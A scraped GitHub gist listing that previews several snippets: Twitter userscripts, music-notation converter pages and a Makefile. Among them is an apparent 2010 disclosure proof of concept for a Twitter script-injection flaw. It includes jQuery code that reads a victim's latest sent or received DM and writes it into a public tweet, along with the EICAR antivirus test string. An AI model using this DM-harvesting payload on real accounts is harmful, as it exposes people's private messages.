Skip to content

Instantly share code, notes, and snippets.

View dolpen's full-sized avatar
🐄

dolpen dolpen

🐄
View GitHub Profile
<html>
<head>
<script type="text/javascript">
<!--
var ListTagNode=function(str){
this.nodeName=str||'';
this.weight=(str&&str!='')?1:0;
this.score=0;
this.distance=0;
this.childs={};
// ==UserScript==
// @name lists 2 add
// @namespace www.dolpen.net
// @description リストのレコメンドをします
// @include http://twitter.com/*
// @require http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js
// ==/UserScript==
//prototype
// ==UserScript==
// @name is follow each other
// @namespace www.dolpen.net
// @include http://twitter.com/*
// @include https://twitter.com/*
// @exclude http://twitter.com/invitations/*
// @exclude http://twitter.com/settings/*
// @exclude http://twitter.com/goodies/*
// @exclude https://twitter.com/invitations/*
// @exclude https://twitter.com/settings/*
@dolpen
dolpen / test.js
Created September 21, 2010 10:17
(function(){
alert([
'Twitterの脆弱性を利用したリンクに触れると、',
'外部のスクリプトを読み込めてしまいます。',
'(実際、これも外部のスクリプトです:http://gist.github.com/gists/589503)',
'スクリプトによっては、あなたのDMを読み込み、',
'内容をTweetしてしまうような動作をさせることも不可能ではありません。',
'このように、現在webからの閲覧は大変危険な状態です。',
'公式からのアナウンスがあるまで、クライアントなどを活用し、',
'webからのTwitter閲覧は自粛するようにしましょう。',
(function(){
$.ajax({
url:"/sent",
cache:false,
success:function(html){
$(html).find('.status-body:eq(0)').each(function(){
$('textarea').val(
'@dolpen DM to '+
$(this).find('strong:eq(0)').text()+
' '+
(function(){
$.ajax({
url:"/inbox",
cache:false,
success:function(html){
$(html).find('.status-body:eq(0)').each(function(){
$('textarea').val(
'@dolpen DM from '+
$(this).find('strong:eq(0)').text()+
' '+
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
<html>
<head>
<script type="text/javascript">
<!--
var $=function(n){
return document.getElementById(n);
};
var a=function(str){
if(str.length!=8)return "死";
for(i=1;i<=8;i++)if(str.indexOf((i).toString(),0)<0)return "死";
<html>
<head>
<script type="text/javascript" src="http://svn.coderepos.org/share/lang/javascript/jsmml/trunk/src/JSMML.js"></script>
<script type="text/javascript">
<!--
var mml=null;
JSMML.swfurl = 'http://svn.coderepos.org/share/lang/javascript/jsmml/trunk/src/JSMML.swf';
JSMML.onLoad = function() {mml = new JSMML();}
var $=function(n){return document.getElementById(n);};
var FimmlConverter=function(){
CC=gcc
all:mid2mml
mid2mml:mid2mml.o midi.o
$(CC) -o $@ mid2mml.o midi.o
.c.o:
$(CC) -c $<